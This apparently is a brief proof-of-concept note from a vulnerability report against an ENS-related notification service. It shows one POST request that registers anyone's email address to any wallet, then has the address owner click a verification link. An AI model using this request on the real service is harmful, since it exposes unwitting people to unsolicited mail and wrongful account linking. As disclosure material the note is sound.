plant : POST /notifications/channels/email {"email": "<anyone's address>"} // one request, any wallet
fire : that address's owner presses "Verify Email Address" in the ENS mail